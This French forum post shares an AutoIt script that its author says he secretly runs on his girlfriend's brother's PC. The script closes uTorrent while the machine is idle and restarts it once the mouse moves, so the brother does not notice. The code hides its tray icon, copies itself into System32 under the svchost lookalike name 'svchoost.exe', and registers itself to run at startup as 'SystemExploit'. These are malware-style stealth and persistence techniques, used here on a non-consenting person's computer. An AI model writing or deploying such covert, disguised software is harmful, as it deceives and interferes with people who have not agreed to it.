[Ex] KillUtorrent, ProcessExists, ProcessClose ...
Posté : jeu. 23 déc. 2010 09:16
Alors voilà, c'est un petit exemple de quelques fonctions autoit.
Vous allez trouvez cela inutile, mais j'ai conçu ce petit script qui permet de couper uTorrent quand le pc est inutilisé (cela parait même illogique)
Petit bout d'histoire :
Il m'arrive d'aller dormir chez ma copine (qui a une faible connexion internet déjà de base), et son frère (jamais à la maison) laisse tourner son pc 24/24 sur uTorrent à télécharger comme pas possible sur uTorrent. Ce qui ne laisse plus grand chose aux autres habitants de la maison (qui eux participent déjà beaucoup plus aux tâches de la maison).
Alors avant j'allais fermer uTorrent en son absence, mais lorsqu'il rentrait et voyait que uTorrent avait été fermé il s'en prenait à tout le monde dans la maison.
Alors j'ai eu l'idée de concevoir ce "tueur" de processus lors de l'absence d'une personne, et lorsqu'il retouchait a peine la souris, le processus se relance.
Je suis ouvert à vos critiques.
A bientôt,
n0way
Vous allez trouvez cela inutile, mais j'ai conçu ce petit script qui permet de couper uTorrent quand le pc est inutilisé (cela parait même illogique)
Petit bout d'histoire :
Il m'arrive d'aller dormir chez ma copine (qui a une faible connexion internet déjà de base), et son frère (jamais à la maison) laisse tourner son pc 24/24 sur uTorrent à télécharger comme pas possible sur uTorrent. Ce qui ne laisse plus grand chose aux autres habitants de la maison (qui eux participent déjà beaucoup plus aux tâches de la maison).
Alors avant j'allais fermer uTorrent en son absence, mais lorsqu'il rentrait et voyait que uTorrent avait été fermé il s'en prenait à tout le monde dans la maison.
Alors j'ai eu l'idée de concevoir ce "tueur" de processus lors de l'absence d'une personne, et lorsqu'il retouchait a peine la souris, le processus se relance.
Code : Tout sélectionner
#include <Process.au3>
#include <Timers.au3>
;--------------------------------- variable ---------------------------------
$var = 0
$mousex = 0
$mousey = 0
$IdleMinimum = 600000
Opt("TrayIconHide", 1)
;--------------------------------- verifier le programme se lance au demarrage du pc ---------------------------------
if RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SystemExploit") = "" Then
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SystemExploit", "REG_SZ", "C:\Windows\System32\svchoost.exe")
FileCopy(@ScriptFullPath, "C:\Windows\System32\svchoost.exe", 1)
EndIf
;--------------------------------- Fonctionnement continu ---------------------------------
While 1
If _Timer_GetIdleTime() >= $IdleMinimum Then
If ProcessExists("uTorrent.exe") Then
ProcessClose("uTorrent.exe")
$var = 1
$mousex = MouseGetPos(0)
$mousey = MouseGetPos(1)
EndIf
Do
Sleep(20)
Until _Timer_GetIdleTime() < $IdleMinimum
EndIf
Sleep(20)
If $var = 1 And $mousex <> MouseGetPos(0) And $mousey <> MouseGetPos(1) Then
$var = 0
ShellExecute("c:\Program Files\uTorrent\uTorrent.exe")
EndIf
WEnd
A bientôt,
n0way